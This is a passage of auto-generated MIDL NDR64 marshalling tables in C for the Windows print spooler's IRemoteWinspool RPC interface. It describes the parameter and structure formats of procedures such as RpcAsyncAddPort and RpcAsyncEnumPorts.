(NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag769,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* PORT_INFO_3 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag766_t __midl_frag766 =\n{ \n/* *PORT_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag767\n};\n\nstatic const __midl_frag762_t __midl_frag762 =\n{ \n/* PORT_INFO_2 */\n    { \n    /* PORT_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag761_t __midl_frag761 =\n{ \n/* *PORT_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag762\n};\n\nstatic const __midl_frag759_t __midl_frag759 =\n{ \n/* PORT_INFO_1 */\n    { \n    /* PORT_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag758_t __midl_frag758 =\n{ \n/* *PORT_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag759\n};\n\nstatic const __midl_frag757_t __midl_frag757 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x1b,    /* OP_AND */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 16777215 /* 0xffffff */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag756_t __midl_frag756 =\n{ \n/* __MIDL_IRemoteWinspool_0011 */\n    { \n    /* __MIDL_IRemoteWinspool_0011 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag757,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag758,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag761,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag766,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 16777215 /* 0xffffff */,\n        &__midl_frag770,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag755_t __midl_frag755 =\n{ \n/* PORT_CONTAINER */\n    { \n    /* PORT_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag756\n        },\n        { \n        /* PORT_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag751_t __midl_frag751 =\n{ \n/* RpcAsyncAddPort */\n    { \n    /* RpcAsyncAddPort */      /* procedure RpcAsyncAddPort */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortContainer */      /* parameter pPortContainer */\n        &__midl_frag755,\n        { \n        /* pPortContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPortVarContainer */      /* parameter pPortVarContainer */\n        &__midl_frag776,\n        { \n        /* pPortVarContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pMonitorName */      /* parameter pMonitorName */\n        &__midl_frag947,\n        { \n        /* pMonitorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag743_t __midl_frag743 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag742_t __midl_frag742 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag741_t __midl_frag741 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag742\n};\n\nstatic const __midl_frag737_t __midl_frag737 =\n{ \n/* RpcAsyncEnumMonitors */\n    { \n    /* RpcAsyncEnumMonitors */      /* procedure RpcAsyncEnumMonitors */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1021,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1018,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pMonitor */      /* parameter pMonitor */\n        &__midl_frag741,\n        { \n        /* pMonitor */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag728_t __midl_frag728 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1014\n    }\n};\n\nstatic const __midl_frag727_t __midl_frag727 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag728\n};\n\nstatic const __midl_frag723_t __midl_frag723 =\n{ \n/* RpcAsyncEnumPorts */\n    { \n    /* RpcAsyncEnumPorts */      /* procedure RpcAsyncEnumPorts */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1034,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1103,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPort */      /* parameter pPort */\n        &__midl_frag727,\n        { \n        /* pPort */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1018,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1018,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1018,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag720_t __midl_frag720 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1103\n};\n\nstatic const __midl_frag716_t __midl_frag716 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag831\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag715_t __midl_frag715 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag716\n};\n\nstatic const __midl_frag709_t __midl_frag709 =\n{ \n/* RpcAsyncGetPrintProcessorDirectory */\n    { \n    /* RpcAsyncGetPrintProcessorDirectory */      /* procedure RpcAsyncGetPrintProcessorDirectory */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag957,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag957,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1065,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorDirectory */      /* parameter pPrintProcessorDirectory */\n        &__midl_frag715,\n        { \n        /* pPrintProcessorDirectory */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1103,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1103,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            